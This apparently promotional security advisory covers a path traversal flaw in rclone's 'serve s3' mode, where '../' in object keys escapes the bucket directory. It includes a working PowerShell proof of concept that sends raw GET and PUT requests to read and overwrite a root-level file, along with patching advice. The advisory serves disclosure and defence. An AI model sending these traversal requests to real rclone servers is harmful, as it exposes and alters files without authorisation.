Listen to this Post
How GHSA-8v25-v8p6-qf7v Works
The vulnerability exists in the `rclone serve s3` component, specifically within the backend path construction logic. The S3 backend builds filesystem paths by joining the bucket name and the object key using Go’s `path.Join` function: fp := path.Join(bucketName, objectName). This pattern is used across multiple object operations including HeadObject, GetObject, PutObject, DeleteObject, and CopyObject.
The core issue arises because S3 object keys are technically opaque names that can legally contain dot-dot (..) segments. However, Go’s `path.Join` treats the object key as a filesystem-style path and actively normalizes these `../` segments. Consequently, an object key like `../root-secret.txt` is resolved outside the intended bucket directory.
For example, when `rclone serve s3` serves a root directory containing root/, bucket/, and root-secret.txt, a raw S3 HTTP `GET /bucket/../root-secret.txt` request is parsed as a request for bucket “bucket” with object “../root-secret.txt”. The backend then calculates path.Join("bucket", "../root-secret.txt"), which resolves to "root-secret.txt". This causes rclone to read `root-secret.txt` from the serve root instead of rejecting the request or treating `..` as part of the S3 object key.
The same flawed normalization affects write operations. A `PUT /bucket/../root-secret.txt` request will overwrite `root-secret.txt` in the serve root. This is a path traversal/improper path normalization issue. While it does not allow escaping the configured `rclone serve` root, it does allow escaping the S3 bucket namespace, exposing or modifying root-level files not intended to be S3 objects. Exploitation is particularly severe when `rclone serve s3` is run without --auth-key, as rclone documents that this allows anonymous access.
DailyCVE Form:
Platform: rclone
Version: 1.74.3
Vulnerability: Path Traversal
Severity: Medium
Date: 2026-07-09
Prediction: 2026-07-25
What Undercode Say:
PoC: Prepare test serve root (Windows PowerShell)
$base = "$env:TEMP\rclone-serve-s3-poc"
$root = "$base\root"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force -Path "$root\bucket" | Out-Null
Set-Content -Encoding ASCII -Path "$root\root-secret.txt" -Value "ROOT_LEVEL_SECRET_MARKER"
Start rclone serve s3
$rclone = "C:\Users\fff20\AppData\Local\Temp\rclone-current-bin\rclone-v1.74.3-windows-amd64\rclone.exe"
& $rclone serve s3 $root --addr 127.0.0.1:19087 -vv --log-file "$base\serve-s3.log"
Send raw HTTP GET with dot-dot object key
$port = 19087
$req = "GET /bucket/../root-secret.txt HTTP/1.1<code>r</code>nHost: 127.0.0.1:$port<code>r</code>nContent-Length: 0<code>r</code>nConnection: close<code>r</code>n<code>r</code>n"
$client = [System.Net.Sockets.TcpClient]::new("127.0.0.1", $port)
$stream = $client.GetStream()
$bytes = [Text.Encoding]::ASCII.GetBytes($req)
$stream.Write($bytes, 0, $bytes.Length)
$buf = New-Object byte[] 8192
$read = $stream.Read($buf, 0, $buf.Length)
[Text.Encoding]::ASCII.GetString($buf, 0, $read)
$client.Close()
Send raw HTTP PUT to overwrite root-level file
$body = "OVERWRITTEN_BY_DOTDOT"
$req = "PUT /bucket/../root-secret.txt HTTP/1.1<code>r</code>nHost: 127.0.0.1:$port<code>r</code>nContent-Length: $($body.Length)<code>r</code>nConnection: close<code>r</code>n<code>r</code>n$body"
$client = [System.Net.Sockets.TcpClient]::new("127.0.0.1", $port)
$stream = $client.GetStream()
$bytes = [Text.Encoding]::ASCII.GetBytes($req)
$stream.Write($bytes, 0, $bytes.Length)
$buf = New-Object byte[] 8192
$read = $stream.Read($buf, 0, $buf.Length)
[Text.Encoding]::ASCII.GetString($buf, 0, $read)
$client.Close()
Confirm overwrite
Get-Content "$root\root-secret.txt"
Exploit:
An attacker sends crafted GET or PUT requests with `../` sequences in the S3 object key to read or overwrite files outside the bucket namespace. The attack requires network access to the rclone serve s3 endpoint and is amplified when no `–auth-key` is configured, enabling anonymous exploitation. With authentication, valid S3 credentials are required.
Protection:
Upgrade to rclone version 1.74.4 or later. If upgrading is not immediately possible, avoid running `rclone serve s3` without `–auth-key` and restrict network access to the service. The fix involves rejecting object keys with path traversal segments or preserving keys as opaque S3 names.
Impact:
An attacker can read or overwrite root-level files within the configured serve root that are outside the intended S3 bucket. In multi-bucket deployments, this can expose operational files and allow unauthorized modification. The vulnerability impacts confidentiality and integrity.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
